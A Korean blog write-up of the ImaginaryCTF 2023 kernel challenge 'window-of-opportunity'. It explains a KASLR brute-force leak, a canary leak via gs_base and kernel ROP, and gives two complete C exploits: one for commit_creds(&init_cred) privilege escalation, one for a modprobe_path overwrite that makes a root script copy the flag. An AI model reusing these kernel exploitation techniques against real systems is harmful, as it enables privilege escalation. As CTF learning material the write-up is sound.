Sechack

ImaginaryCTF 2023 - window-of-opportunity 본문

CTF

ImaginaryCTF 2023 - window-of-opportunity

Sechack 2023. 7. 25. 11:30
반응형

CTF때 처음으로 제대로 잡아본 커널 문제이다. 원래였으면 CTF에 v8, kernel나왔으면 던졌을테지만 BoB에서 커널 관련 강의 듣고 LINE CTF 2021에 나왔던 pprofile이라는 커널 문제를 풀어보면서 커널에 나름 자신감이 붙은 상황이었다.

 

 

대충 이렇게 모듈을 등록하고 있고 fops구조체에는 write와 ioctl이 선언된 상황이다.

 

 

ioctl에선 aar이 가능하고

 

 

write에서 bof가 터진다. 전형적인 kernel rop인데 kernel base leak과 canary bypass가 관문이었다. kernel base leak은 LINE CTF 2021 pprofile문제와 비슷한 이이디어로 할 수 있다. copy_to_user함수는 복사 실패한 바이트 수를 반환하는데 invaild한 주소를 전달하면 커널 패닉이 뜨지 않고 그냥 복사 실패하고 바이트수가 반환되게 된다. 커널 주소는 kaslr이 있어도 0xffffffff???00000이므로 1.5byte brute force로 kernel base를 leak할 수 있다. 만약 커널 주소가 아니면 copy_to_user함수는 256바이트 전체를 복사 실패할거니까 256을 반환하고 커널 주소면 복사에 성공할거니까 256이 아닌 0을 반환할것이다. 따라서 ioctl부르고 반환값 체크하는 방식으로 1.5byte brute force를 할 수 있는것이다.

 

int fd = open("/dev/window", O_RDWR);

while(1){
    kbase += offset;
    a[0] = kbase;
    int res = ioctl(fd, 4919, a);
    if(res != 256){
        printf("Kernel base : 0x%llx\n", kbase);
        break;
    }
}

 

이런 느낌으로 leak을 할 수 있다.

 

이제 canary라는 매우 큰 관문이 하나 남았다. 아무리 생각해도 canary를 가져올 방법이 떠오르지 않아서 같은 팀원인 qwerty님에게 도움을 요청했다.

 

a[0] = kbase + 0x1926ae0;
ioctl(fd, 4919, a);
uint64_t gs_base = a[1];
printf("gs base : 0x%llx\n", gs_base);

a[0] = gs_base + 0x28;
ioctl(fd, 4919, a);
uint64_t canary = a[1];
printf("canary : 0x%llx\n", canary);

 

그리고 돌아온 canary leak코드이다. kbase + 0x1926ae0위치에 gs base가 저장되어있었던것 같다. kernel base가 있으면 aar로 gs base를 알 수 있고 canary까지 알 수 있는지 처음 알았다. 좀 신기하다.

 

이제 진짜 rop만 남았는데 보호기법에 smep, smap가 있어서 ret2usr는 어림도없고 rop해야한다. rop는 나보다 qwerty님이 더 빠르게 하셔서 플래그는 qwerty님이 따긴 했는데 나도 뒤따라서 익스에 성공했다.

 

처음에 생각한 rop방법은 commit_creds(prepare_kernel_cred(0))이다. 하지만 rax를 rdi로 옮기는 마땅한 가젯을 찾지 못해서 많은 시간 삽질했다. 그러다가 같은 팀원에게 init_cred라는 구조체가 있어서 commit_creds(&init_cred)를 부르면 바로 LPE가 된다는 고급 정보를 얻었다. 이렇게 되면 pop rdi ; ret과 swapgs, iretq가젯만 있으면 rop가 깔끔하게 된다. pop rdi는 널렸고 swapgs랑 iretq는 swapgs_restore_regs_and_return_to_usermode함수 안에 딱 좋게 체이닝 되는 부분이 있어서 그 부분을 사용했다.

 

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>

struct register_val {
    uint64_t user_rip;
    uint64_t user_cs;
    uint64_t user_rflags;
    uint64_t user_rsp;
    uint64_t user_ss;
} __attribute__((packed));
struct register_val rv;

void shell(){
    system("/bin/sh");
}

void backup_rv(void) {
    asm("mov rv+8, cs;"
        "pushf; pop rv+16;"
        "mov rv+24, rsp;"
        "mov rv+32, ss;"
        );
}

int main(void)
{
    int fd = open("/dev/window", O_RDWR);
    unsigned long long a[100] = { 0, };
    char payload[0x100] = {'a', };
    unsigned long long kbase = 0xffffffff00000000;
    unsigned long long offset = 0x100000;
    unsigned long long prepare_kernel_cred = 0xffb80;
    unsigned long long commit_creds = 0xff8a0;
    unsigned long long modprobe_path = 0x208c500;

    while(1){
        kbase += offset;
        a[0] = kbase;
        int res = ioctl(fd, 4919, a);
        if(res != 256){
            printf("Kernel base : 0x%llx\n", kbase);
            break;
        }
    }
    a[0] = kbase + 0x1926ae0;
    int res = ioctl(fd, 4919, a);
    uint64_t gs_base = a[1];
    printf("gs base : 0x%llx\n", gs_base);

    a[0] = gs_base + 0x28;
    ioctl(fd, 4919, a);
    uint64_t canary = a[1];
    printf("canary : 0x%llx\n", canary);
    uint64_t pop_rdi = kbase + 0x1d675;
    uint64_t pop_rcx = kbase + 0x22b799;
    uint64_t pop_r14_4 = kbase + 0x96160;
    uint64_t mvrdi = kbase + 0x24887c7; // mov rdi, rax ; call r14
    uint64_t init_cred = kbase + 0x208b2e0;
    uint64_t trap = kbase + 0x10010f0 + 54;
    uint64_t user_rip = (uint64_t)shell;

    uint64_t arr[0x1000/0x8] = { 0, };
    backup_rv();
    arr[8] = canary;
    arr[10] = pop_rdi;
    arr[11] = init_cred;
    arr[12] = kbase + commit_creds;
    arr[13] = trap;
    arr[14] = 0;
    arr[15] = 0;
    arr[16] = user_rip;
    arr[17] = rv.user_cs;
    arr[18] = rv.user_rflags;
    arr[19] = rv.user_rsp;
    arr[20] = rv.user_ss;

    write(fd, arr, 0xa8);

    return 0;
}

 

최종 exploit code는 위와 같다.

 

https://github.com/pr0cf5/kernel-exploit-sendscript

 

GitHub - pr0cf5/kernel-exploit-sendscript: A script that sends ELF files via terminal, for CTF kernel exploit probs

A script that sends ELF files via terminal, for CTF kernel exploit probs - GitHub - pr0cf5/kernel-exploit-sendscript: A script that sends ELF files via terminal, for CTF kernel exploit probs

github.com

 

서버 커널로 바이너리 전송하는건 위 github에 있는 script를 참고했다.

 

 

성공적으로 LPE에 성공하고 플래그를 읽을 수 있는 모습을 볼 수 있다.

 

여담으로 qwerty님은 modprobe_path를 덮는 방향으로 rop를 하셨다.

 

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>

void fin()
{
    puts("[*] Returned to userland, setting up for fake modprobe");
    
    system("echo '#!/bin/sh\ncp /flag.txt /tmp/flag\nchmod 777 /tmp/flag' > /tmp/x");
    system("chmod +x /tmp/x");

    system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
    system("chmod +x /tmp/dummy");

    puts("[*] Run unknown file");
    system("/tmp/dummy");

    puts("[*] Hopefully flag is readable");
    system("cat /tmp/flag");

    exit(0);
}

int main(void)
{
    int fd = open("/dev/window", O_RDWR);
    unsigned long long a[100] = { 0, };
    unsigned long long kbase = 0xffffffff00000000;
    unsigned long long offset = 0x100000;


    while(1){
        kbase += offset;
        a[0] = kbase;
        int res = ioctl(fd, 4919, a);
        if(res != 256){
            printf("Kernel base : 0x%llx\n", kbase);
            break;
        }
    }

    a[0] = kbase + 0x1926ae0;
    ioctl(fd, 4919, a);
    uint64_t gs_base = a[1];
    printf("gs base : 0x%llx\n", gs_base);

    a[0] = gs_base + 0x28;
    ioctl(fd, 4919, a);
    uint64_t canary = a[1];
    printf("canary : 0x%llx\n", canary);

    int idx = 0;
    uint64_t arr[0x1000/0x8] = { 0, };

    uint64_t off_cr4 = kbase + 0x5cfc0;
    uint64_t prdi = kbase + 0x1d675;
    uint64_t prsi = kbase + 0x23205c;
    // 0xffffffff816d1a3b: mov dword [rdi-0x16000003], esi ; ret  ;  (1 found)
    uint64_t change_modprobe = kbase + 0x6d1a3b;
    uint64_t mov_rdi_rsi = kbase + 0x1d1a3b;
    uint64_t modprobe_path = kbase + 0x208c500;
    uint64_t kpti_trampoline = kbase + 0x10010f0 + 54;

    uint64_t user_rip = (uint64_t)fin;
    uint64_t user_cs = 0x33;
    uint64_t user_rflags = 0x202;
    uint64_t user_sp = a;
    uint64_t user_ss = 0x2b;

    for(int i=0; i<0x50; i+=8)
      arr[idx++] = canary;
    arr[idx++] = prdi;
    arr[idx++] = modprobe_path + 0x16000003;
    arr[idx++] = prsi;
    arr[idx++] = 0x706d742f; // "/tmp"
    arr[idx++] = change_modprobe;
    arr[idx++] = prdi;
    arr[idx++] = modprobe_path + 0x16000003 + 4;
    arr[idx++] = prsi;
    arr[idx++] = 0x782f; // "/x"
    arr[idx++] = change_modprobe;
    arr[idx++] = kpti_trampoline;
    arr[idx++] = 0x0; // dummy rax
    arr[idx++] = 0x0; // dummy rdi
    arr[idx++] = user_rip;
    arr[idx++] = user_cs;
    arr[idx++] = user_rflags;
    arr[idx++] = user_sp;
    arr[idx++] = user_ss;

    write(fd, arr, idx*0x8);

    return 0;
}

 

qwerty님의 exploit code인데 init_cred구조체를 바로 commit_creds함수에 넣는 방식보다는 조금 더 가젯 찾기가 빡센 rop방법이다.

반응형

'CTF' 카테고리의 다른 글

WACON 2023 본선 All Web Write up + 후기  (4) 2023.09.29
YISF 2023 예선 write up  (1) 2023.08.17
Codegate2023 예선 write up  (1) 2023.06.19
ACSC 2023 - Write up  (1) 2023.02.26
2022 Christmas CTF 후기  (1) 2022.12.27
Comments